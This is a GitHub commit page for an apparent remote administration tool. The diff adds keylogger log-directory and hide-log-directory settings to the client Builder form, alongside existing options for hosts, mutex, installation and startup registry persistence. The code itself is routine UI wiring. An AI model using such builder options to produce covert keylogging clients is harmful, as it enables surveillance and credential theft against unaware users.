Skip to content

Commit

Permalink
Improved Builder integration of new additional Keylogger settings
Browse files Browse the repository at this point in the history
  • Loading branch information
MaxXor committed Sep 18, 2015
1 parent bcf9b7f commit 036f687
Show file tree
Hide file tree
Showing 3 changed files with 37 additions and 21 deletions.
2 changes: 1 addition & 1 deletion Server/Core/Data/BuilderProfile.cs
Original file line number Diff line number Diff line change
Expand Up @@ -207,7 +207,7 @@ public string LogDirectoryName
{
get
{
return ReadValueSafe("LogDirectoryName");
return ReadValueSafe("LogDirectoryName", "Logs");
}
set
{
Expand Down
40 changes: 24 additions & 16 deletions Server/Forms/FrmBuilder.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

16 changes: 12 additions & 4 deletions Server/Forms/FrmBuilder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ private void LoadProfile(string profilename)

txtTag.Text = profile.Tag;
txtPassword.Text = profile.Password;
txtDelay.Text = profile.Delay.ToString();
numericUpDownDelay.Value = profile.Delay;
txtMutex.Text = profile.Mutex;
chkInstall.Checked = profile.InstallClient;
txtInstallname.Text = profile.InstallName;
Expand All @@ -45,6 +45,8 @@ private void LoadProfile(string profilename)
txtIconPath.Text = profile.IconPath;
chkChangeAsmInfo.Checked = profile.ChangeAsmInfo;
chkKeylogger.Checked = profile.Keylogger;
txtLogDirectoryName.Text = profile.LogDirectoryName;
chkHideLogDirectory.Checked = profile.HideLogDirectory;
txtProductName.Text = profile.ProductName;
txtDescription.Text = profile.Description;
txtCompanyName.Text = profile.CompanyName;
Expand All @@ -64,7 +66,7 @@ private void SaveProfile(string profilename)
profile.Tag = txtTag.Text;
profile.Hosts = HostHelper.GetRawHosts(_hosts);
profile.Password = txtPassword.Text;
profile.Delay = int.Parse(txtDelay.Text);
profile.Delay = (int)numericUpDownDelay.Value;
profile.Mutex = txtMutex.Text;
profile.InstallClient = chkInstall.Checked;
profile.InstallName = txtInstallname.Text;
Expand Down Expand Up @@ -187,6 +189,12 @@ private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
!char.IsControl(e.KeyChar));
}

private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.CheckPathForIllegalChars(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}

private void btnMutex_Click(object sender, EventArgs e)
{
HasChanged();
Expand Down Expand Up @@ -241,7 +249,7 @@ private void chkChangeIcon_CheckedChanged(object sender, EventArgs e)
private bool CheckForEmptyInput()
{
return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings
_hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && !string.IsNullOrWhiteSpace(txtDelay.Text) && // Connection
_hosts.Count > 0 && !string.IsNullOrWhiteSpace(txtPassword.Text) && // Connection
(!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallname.Text))) && // Installation
(!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation
}
Expand All @@ -260,7 +268,7 @@ private BuildOptions ValidateInput()
options.Mutex = txtMutex.Text;
options.RawHosts = HostHelper.GetRawHosts(_hosts);
options.Password = txtPassword.Text;
options.Delay = int.Parse(txtDelay.Text);
options.Delay = (int)numericUpDownDelay.Value;
options.IconPath = txtIconPath.Text;
options.Version = Application.ProductVersion;
options.InstallPath = GetInstallPath();
Expand Down

0 comments on commit 036f687

Please sign in to comment.